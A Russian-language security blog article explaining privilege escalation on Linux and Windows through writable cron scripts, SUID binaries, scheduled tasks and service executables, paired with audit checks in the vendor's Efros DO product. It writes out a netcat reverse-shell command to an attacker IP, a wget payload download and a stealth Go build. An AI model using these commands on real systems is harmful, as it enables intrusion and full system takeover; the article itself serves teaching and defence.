Войти в IT без приглашения: путь от nobody к Root'у/System

В многопользовательских ОС привилегии определяют уровень доступа: от базового чтения файлов до полного контроля над системой. Успешное повышение прав позволяет злоумышленнику обходить ограничения, модифицировать критически важные данные, запускать вредоносные сервисы, укреплять своё присутствие в системе и скрывать следы активности от системного администратора.

Представьте, что вы — хакер. Вы проникли в систему через уязвимость в веб-приложении. Теперь вы — обычный пользователь. Казалось бы, угроза минимальна, но это только начало. Ваша цель — стать пользователем с максимальными привилегиями системы: root в Linux или SYSTEM в Windows. Как этого добиться?

Эскалация привилегий превращает скромную брешь в катастрофу, открывая доступ к ядру системы, конфиденциальным данным и контролю над инфраструктурой.

В этой статье мы погрузимся в методы, которые превращают обычного пользователя в администратора, и обсудим, как защититься от этих атак.

Этап Privilege Escalation (TA0004) в матрице MITRE ATT&CK относится к тактикам, которые злоумышленники используют для получения более высоких привилегий в системе, чем те, что были у них изначально. Это критически важный этап атаки.

Рисунок 1. Повышение привилегий

Типы повышения привилегий:

1) вертикальное — повышение от низкоуровневого пользователя до администратора (например, обычный юзер → root). Оно происходит из-за уязвимостей в ПО или ошибок в конфигурации ОС.

2) горизонтальное — получение прав другого пользователя того же уровня (например, переход от user1 к user2 с доступом к его данным). Как правило, это происходит из-за уязвимостей в системе, ошибок в конфигурации ПО или неправильного управления привилегированным доступом.

Повышение привилегий Linux

Как и во многих других методах атак, повышение привилегий требует от нас сбора информации о цели. Это достигается путём проверки ОС на наличие любых неправильных настроек или уязвимостей ПО, которые можно использовать в наших целях.

Получение ситуационной осведомлённости

После этапа первичных атак злоумышленник достигает своей цели: попадает на скомпрометированную машину, в сегмент сети, который с высокой долей вероятности окажется сетью DMZ.

Для того чтобы выбраться из сегмента DMZ и попасть в основные сегменты сети, нам необходимо получить возможность действовать эффективно и удобно из текущей точки сети:

• получить максимальные привилегии на скомпрометированном узле;
• закрепиться на этом узле;
• пробросить свой сетевой доступ дальше по сети.

Методы повышения привилегий на базе Linux

1) ручное перечисление

Оно может занять много времени. Однако этот подход обеспечивает более контролируемый результат, поскольку помогает выявить более специфические методы повышения привилегий, которые часто упускаются из виду автоматизированными инструментами.

1. id — при получении первоначального доступа к цели одна из первых вещей, которую мы должны определить, — это контекст пользователя.
2. cat/etc/passwd — перечислить всех пользователей.
3. hostname — узнать имя хоста; оно часто может дать подсказку о функциональной роли машины.
4. cat/etc/os-release; uname -a — файлы, которые содержат информацию о выпуске и версии ОС. Выводят версию ядра.

В какой-то момент нам может потребоваться полагаться на эксплойты ядра, которые специально используют уязвимости в ядре ОМ цели. Эти типы эксплойтов созданы для очень конкретного типа цели, определяемого конкретной комбинацией ОС и версии.

5. ps aux — перечислить системные процессы (в том числе запущенные привилегированными
   пользователями).
6. ls –lah /etc/cron* — планировщик заданий на базе Linux. Запланированные задачи перечислены в разделе /etc/cron.*каталоги, где* представляет частоту, с которой будет выполняться задача.

Например, задачи, которые будут выполняться ежедневно, можно найти в разделе /etc/cron.daily.

И т. д.

2) автоматизированное перечисление

Системы Linux содержат огромное количество информации, однако её сбор вручную может занять много времени. Процесс можно автоматизировать (например, с помощью LinEnum и LinPeas, которые активно развивались в последние годы), но из-за этого упускаются уникальные одноразовые системные изменения.

Злоупотребление заданиями Cron

В этом подразделе узнаем, как использовать небезопасные права доступа к файлам. Мы будем предполагать, что уже получили доступ к нашей целевой машине Linux в качестве непривилегированного пользователя.

В системе Linux cron — планировщик заданий по времени. Задания cron используются для запуска скриптов или двоичных файлов в определённое время. По умолчанию они запускаются с привилегией их владельцев, а не текущего пользователя. Хотя правильно настроенные задания cron изначально не уязвимы, при некоторых условиях они могут обеспечить вектор повышения привилегий, поскольку запланированные задания на системном уровне выполняются с привилегиями пользователя root, а системные администраторы часто создают сценарии для заданий cron с незащищёнными разрешениями.

Идея проста: если есть запланированная задача, которая запускается с привилегиями root, и мы можем изменить скрипт, который будет запущен, то наш скрипт будет запущен с привилегиями root.

Конфигурации заданий cron хранятся в виде crontab (таблиц cron), чтобы увидеть следующее время и дату запуска задачи.

У каждого пользователя в системе есть свой файл crontab, и он может запускать определённые задачи независимо от того, вошёл он в систему или нет. Наша цель — найти задание cron, установленное root, и заставить его запустить наш скрипт, в идеале оболочку.

1. определяем контекст пользователя после получения первоначального доступа с помощью команды id, видим, что доступ получен от непривилегированного пользователя www-data.
2. прочитаем системный файл, содержащий расписание cron-задач для всей системы (глобальные задания, выполняемые от имени root или других пользователей). Видно, что существует скрипт под названием script.sh, выполняемый от root пользователя.
3. прочитаем скрипт через команду cat. Можно заметить, что он создан для использования.

Рисунок 2. Чтение файла /etc/crontab

Поскольку непривилегированный пользователь может изменить содержимое скрипта, мы можем отредактировать его и добавить обратную оболочку. Если наш план сработает, мы должны получить обратную оболочку от root пользователя на нашей атакующей машине.

Рисунок 3. Редактирование задания cron с незащищённым разрешением, которое выполняется от root

Всё, что нам нужно сделать сейчас, это настроить прослушиватель на нашей машине с Kali Linux и дождаться выполнения задания cron.

Рисунок 4. Включение прослушивателя на атакующей машине на 4444-порту

Видим, что задание cron выполнено. Мы успешно повысили наши привилегии и получили доступ к корневой оболочке целевой системы.

Аудит с помощью Efros DO

Рассмотрим способ предотвращения такого типа атак с помощью программного комплекса (ПК) Efros Defence Operations.

Модуль Efros Integrity Check Compliance реализует следующие функциональные возможности ПК:

― контроль изменения конфигураций ОС;

― контроль целостности файлов ОС;

― проверки соответствия безопасности ОС.

Подключая к комплексу на контроль ОС различных типов, Efros формирует отдельные отчёты по проверкам конфигурации ОС на соответствие отраслевым стандартам:

Рисунок 5. Проверки политик безопасности для ОС Astra Linux

Рассмотрим проверку под названием «Проверка политик безопасности прав доступа Linux». Она состоит из 14 требований, которые Efros DO проверяет на соответствие.

Рисунок 6. Состав «Проверка политик безопасности прав доступа Linux»

При вышеописанной атаке нам будет интересно рассмотреть подпункт «Убедитесь, что права доступа к файлам, выполняющимся с помощью cron, настроены».

Рисунок 7. Требование из «Проверки политик безопасности прав доступа Linux»

Для данного требования формируется описание и аудит необходимых файлов.

Требуется предотвратить возможность изменения файлов, которые вызываются из заданий cron неавторизованными пользователями. В противном случае это может привести к выполнению произвольного кода от имени владельца задания cron (в том числе root, что приведёт к полной компрометации системы).

Злоупотребление двоичными файлами и возможностями Setuid

Если двоичные файлы setuid не защищены должным образом, они могут привести к
атакам, повышающим привилегии.

Большая часть управления привилегиями Linux основана на контроле взаимодействия пользователей и файлов. Это делается с помощью разрешений. Файлы могут иметь разрешения на чтение, запись и выполнение. Они предоставляются пользователям в пределах их уровней привилегий. Это меняется с помощью SUID (Set-user Identification) и SGID (Set-group Identification). Они позволяют выполнять файлы с уровнем разрешений владельца файла или владельца группы соответственно.

В этом примере мы будем предполагать, что уже получили доступ к нашей целевой машине Linux в качестве непривилегированного пользователя после этапа первичных атак.

1) определяем контекст пользователя после получения первоначального доступа с помощью команды id, видим, что доступ получен от непривилегированного пользователя www-data.

2) find / -perm -4000 2>/dev/null и find / -perm -2000 2>/dev/null — поиск бинарников SUID/SGID с выставленным флагом SUID или SGID от пользователя с низкими привилегиями:

Рисунок 8. Поиск двоичных файлов setuid

Чтобы воспользоваться этой неправильной конфигурацией, мы могли бы проверить веб-сайт GTFOBins. Это открытый проект и база данных, содержащая информацию о том, как использовать стандартные бинарники (исполняемые файлы) в Unix/Linux-системах для обхода ограничений безопасности и повышения привилегий.

Выполнив поиск по запросу Bash на веб-сайте GTFOBins, мы найдём точные инструкции о том, какую команду использовать для реализации атаки.

Рисунок 9. Использование GTFOBins

Рисунок 10. Использование GTFOBins

Запускаем команды и промеряем контекст пользователя с помощью команды whoami:

Рисунок 11. Повышение привилегий

Нам удалось получить корневую оболочку с помощью ещё одного вектора неправильной конфигурации.

Аудит с помощью Efros DO

Вернёмся к «Проверке политик безопасности прав доступа Linux» и при данном векторе рассмотрим подпункт «Убедитесь, что права доступа к SUID приложениям настроены».

Рисунок 12. Требование из «Проверка политик безопасности прав доступа Linux»

Для требования формируется описание и рекомендации, как можно исправить разрешения.

Если права доступа хотя бы к одному из этих приложений позволят остальным пользователям изменять содержимое этого приложения, это приведёт к выполнению произвольного кода от имени пользователя владельца приложения; если это будет SUID-приложение и его владельцем окажется суперпользователь root, это приведёт к полной компрометации системы.

Повышение привилегий Windows

Каждую цель можно считать уникальной из-за различий в версиях ОС и т. д. Поэтому важно понимать, как получить и использовать информацию о целевой системе для повышения привилегий.

Получение ситуационной осведомлённости

Предположим, мы использовали атаку на стороне клиента или воспользовались уязвимостью для доступа к системе Windows от имени непривилегированного пользователя. Прежде чем мы попытаемся повысить наши привилегии, мы должны получить информацию о системе, в которой находимся.

Это важный шаг для лучшего понимания природы скомпрометированной машины и обнаружения возможных векторов повышения привилегий. Собрав как можно больше информации, можно получить сведения о целевой системе, которые будут использоваться для создания различных действенных векторов повышения своих привилегий.

whoami — получение имени пользователя и имени хоста (можно использовать для определения назначения и типа машины).

whoami /groups — отобразить все группы, в которых состоит текущий пользователь.

Get-LocalGroup — отобразить других локальных пользователей и группы в системе.

systeminfo — проверка ОС, версии и архитектуры. Эта информация становится актуальной, когда мы хотим запускать в системе двоичные файлы, поскольку мы не можем запустить 64-битное приложение в 32-битной системе.

ipconfig /all — перечислить все сетевые интерфейсы.

netstat - ano — перечислить все активные сетевые подключения, которые мы можем использовать.

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname — проверить все установленные приложения. Мы можем запросить два ключа реестра, чтобы перечислить 32-битные и 64-битные приложения в реестре Windows с помощью команды Get-ItemProperty.

Запланированные задачи Windows

Windows использует диспетчер задач для выполнения автоматизированных задач (очистка, управление обновлениями). Они называются запланированными задачами и определяются с помощью триггеров. Триггер используется как условие, вызывающее выполнение одного или нескольких действий при их выполнении. Например, триггер можно установить на определённое время и дату по адресу при запуске. Действие определяет, какую программу или сценарий следует выполнить.

Рассматривая запланированные задачи в целевой системе, можно увидеть ту, которая либо потеряла свой двоичный файл, либо использует тот, который можно изменить.

Запланированные задачи можно просмотреть из командной строки, используя schtasks-команду без параметров. Чтобы получить подробную информацию о любой из служб, можно использовать команду:

schtasks — утилита для работы с планировщиком задач (Task Scheduler).

/query — запрос информации о задаче.

/tn vulntask — указывает имя задачи (vulntask), о которой нужно вывести информацию.

/fo list — формат вывода: список (ключ-значение).

/v — подробный вывод.

Рисунок 13. Вывод подробных свойств задачи

Получим много информации о задаче, но для нас важен параметр Task to Run, который указывает, что будет выполнено запланированной задачей, и параметр Run As User, показывающий пользователя, который будет использоваться для выполнения задачи.

Если текущий пользователь может изменять или перезаписывать исполняемый файл Task to Run, мы можем контролировать то, что выполняется пользователем taskusr1, что приводит к простому повышению привилегий. Чтобы проверить права доступа к файлу исполняемого файла, используем icacls:

Рисунок 14. Проверка прав доступа к исполняемому файлу

Как видно, группа BUILTIN\Users имеет полный доступ (F) к двоичному файлу задачи. Это означает, что мы можем изменить файл schtask.bat и вставить полезную нагрузку.

Изменим файл schtask.bat, чтобы вызвать обратную оболочку:
echo c:\tools\nc64.exe -e cmd.exe KALI_IP 1234 > C:\tasks\schtask.bat

echo — перенаправляет в файл.

c:\tools\nc64.exe — созданная полезная нагрузка в папке c:\tools.

-e cmd.exe — параметр, который указывает выполнить cmd.exe после подключения (позволяет получить удалённый доступ к командной строке).

KALI_IP 1234 — IP-адрес злоумышленника и порт, на который будет установлено соединение.

> C:\tasks\schtask.bat

> — перенаправляет вывод команды echo в файл (вместо отображения в консоли).

Теперь при запуске schtask.bat запускается nc64.exe из папки c:\tools.

При следующем запуске запланированной задачи получим обратную оболочку с привилегиями пользователя taskusr1:

Рисунок 15. Включение прослушивателя на 1234 порту атакующей машины

Контроль целостности отчета «Задачи планировщика» в Efros DO

Модуль Efros Integrity Check Compliance реализует возможность контроля изменения конфигураций ОС. Для ОС Windows, которые подключены к комплексу как объекты защиты, формируются ряд «коробочных» конфигураций, которые могут контролироваться на целостность:

Рисунок 16. Конфигурации для контроля (ОС Windows)

Здесь следует контролировать конфигурацию под названием «Задачи планировщика».

Рисунок 17. «Задачи планировщика»

Раскрывая конфигурацию, можно наблюдать название задачи, полный путь до исполняемого файла, описание, издателя и время изменения.

При работе с конфигурацией «Задачи планировщика» ПК сможет зафиксировать изменения и уведомить администратора комплекса для предотвращения ущерба от атаки.

Небезопасное разрешение служб

Службы Windows управляются диспетчером управления службами (Service Control Manager). SCM — это процесс, отвечающий за управление состоянием служб по мере необходимости, проверку текущего статуса любой данной службы и в целом предоставление способа настройки служб.

Каждая служба на машине Windows будет иметь связанный исполняемый файл, который будет запускаться SCM при каждом запуске службы. Важно отметить, что исполняемые файлы служб реализуют специальные функции для возможности взаимодействия с SCM, и поэтому не любой исполняемый файл может быть успешно запущен как служба. Каждая служба также указывает учётную запись пользователя, под которой будет запущена служба.

Запросим её конфигурацию, используя sc:

sc (Service Control) — утилита для управления службами Windows.

qc (Query Config) — запрос конфигурации указанной службы.

WindowsScheduler — имя службы.

Рисунок 18. Запрос конфигурации службы

Видим, что связанный со службой исполняемый файл находится по пути BINARY_PATH_NAME.

SERVICE_START_NAME — учётная запись, от которой работает служба.

Проверим права доступа к исполняемому файлу:

Рисунок 19. Проверка прав доступа к исполняемому файлу службы

Группа Everyone имеет разрешения на изменение (M) исполняемого файла сервиса. Это значит, мы можем перезаписать его любым содержимым по нашему выбору, и сервис выполнит его с привилегиями настроенной учётной записи пользователя.

Напишем полезную нагрузку, например на Go, и передадим её через простейший веб-сервер Python с Kali на Windows:

1) GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" -o "rev-svc.exe" — компилирует Go-программу в Windows-исполняемый-файл (64-битный) с дополнительными флагами для уменьшения размера, скрытия окна и защиты от анализа.

2) python3 -m http.server — запускает простой HTTP-сервер на Python, который обслуживает файлы из текущей директории.

3) wget http://KALI_IP:8000/rev-svc.exe -O rev-svc.exe — команда, предназначенная для скачивания файла (rev-svc.exe) с HTTP-сервера (запущенного через python3 -m http.server) на целевую Windows-машину.

После того как полезная нагрузка находится на сервере Windows, заменим исполняемый файл службы нашей полезной нагрузкой. Поскольку нужен другой пользователь для её выполнения, предоставим полные разрешения группе Everyone:

Рисунок 20. Замена исполняемого файла службы нашей полезной нагрузкой

Ждём перезапуска службы. После этого:

Рисунок 21. Запускаем обратный прослушиватель на порту 4445 на машине атакующего

В результате мы получим обратную оболочку с привилегиями svcusr1, учётную запись, от которой работает служба.

Контроль целостности отчета «Службы» в Efros DO

Рисунок 22. «Службы»

Возвращаясь к Efros и раскрывая конфигурацию «Службы», можно наблюдать название службы, имя в системе, тип запуска. И самое главное — это полный путь до исполняемого файла службы.
При работе с этой конфигурацией ПК сможет зафиксировать любые изменения, чтобы уведомить администратора комплекса.

Резюмируя, хочется сказать, что эскалация привилегий — это этап, превращающий ограниченный доступ в полный контроль над системой. Злоумышленники используют множество методов для повышения прав.

Защита требует комплексного подхода: минимизация прав (принцип наименьших привилегий), патчинг (регулярное обновление ОС и ПО), мониторинг (анализ аномальных действий) и использование специальных продуктов по контролю целостности конфигураций ОС.

P. S. Если после прочтения вы:

1. Обновили все патчи, минимизировали права — мы вами гордимся;
2. Просто закрыли статью — хотя бы не кликайте на «ВЫ ВЫИГРАЛИ IPHONE 16» в письмах;
3. Если такой функционал вам актуален — детали можно запросить у разработчиков Efros: sales@gaz-is.ru

Автор: Андрей Ситников, инженер компании «Газинформсервис»